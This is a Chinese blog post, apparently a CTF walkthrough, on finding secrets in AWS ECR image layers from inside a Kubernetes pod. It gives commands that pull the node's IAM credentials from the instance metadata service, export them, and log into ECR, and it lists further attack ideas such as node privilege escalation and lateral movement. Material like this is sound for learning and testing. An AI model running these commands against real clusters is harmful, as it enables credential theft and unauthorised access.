从零开始:K8s安全测试与漏洞挖掘-8
2024-12-18 10:56:0 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

在这一挑战中,参与者需要深入到一个Pod的容器镜像中,检查其Elastic Container Registry (ECR)存储库中的图层,并从中找出隐藏的秘密。这个任务与之前的Registry Hunt类似,但这次重点放在了AWS ECR上。

技术点:

  • Kubernetes Pods 和 Secrets:理解如何列出和获取Pods及其关联的秘密。

  • Docker镜像元数据:熟悉Docker镜像的历史记录,包括构建命令。

  • AWS IAM角色和权限:了解如何通过实例元数据服务(IMDS)获取IAM凭证,并使用这些凭证与AWS资源交互。

  • ECR操作:掌握如何登录到ECR、拉取镜像以及查看镜像的详细信息。

  • Crane工具:用于处理容器镜像的CLI工具。

步骤与命令:

  1. 列出并检查Pod详情

    • 使用kubectl get pods命令来列出所有Pod。

    • 选择目标Pod后,利用kubectl get pod <pod-name> -o json获得更详细的规格说明。

  2. 提取ECR镜像URL

    • 在Pod详情中找到使用的ECR镜像URL,例如688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:...

  3. 从IMDS获取临时IAM凭证

    • 请求节点实例的角色名称:curl http://169.254.169.254/latest/meta-data/iam/security-credentials

    • 获取具体凭证信息:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

    • 设置环境变量以便后续使用:

      bash

      深色版本

      export AWS_ACCESS_KEY_ID=$(echo $TOKEN | jq -r '.AccessKeyId')
      export AWS_SECRET_ACCESS_KEY=$(echo $TOKEN | jq -r '.SecretAccessKey')
      export AWS_SESSION_TOKEN=$(echo $TOKEN | jq -r '.SessionToken')
  4. 生成ECR密码并登录

    • PASSWORD=$(aws ecr get-login-password)

    • crane auth login <ecr-url> -u AWS -p $PASSWORD

  5. 检查镜像元数据和层

    • 使用crane config <image>查看镜像配置。

    • 注意镜像历史部分可能包含敏感信息或构建时的秘密。

  6. 发现并读取flag文件

    • 如果镜像中有任何文本文件如flag.txt,可以直接用cat命令读取。

实战挖掘点:

未授权访问EKS集群中的私有Docker镜像仓库

从Kubernetes Pod内部提升权限至EKS节点级别

利用错误配置的服务账号权限读取敏感S3桶数据

利用Kubernetes API Server暴露的端点进行信息泄露

通过Kubernetes RBAC漏洞实现跨命名空间横向移动

 欢迎关注

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起冲,一起学。每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款。


文章来源: https://mp.weixin.qq.com/s?__biz=MzU0MzkzOTYzOQ==&mid=2247489547&idx=1&sn=3f8b0e53b8842f04f2498d88310da4b9&chksm=fb029553cc751c4592bab7a4b5f6c78cfe67db71a67a46b96c9f11568c34e23982b65559baa1&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh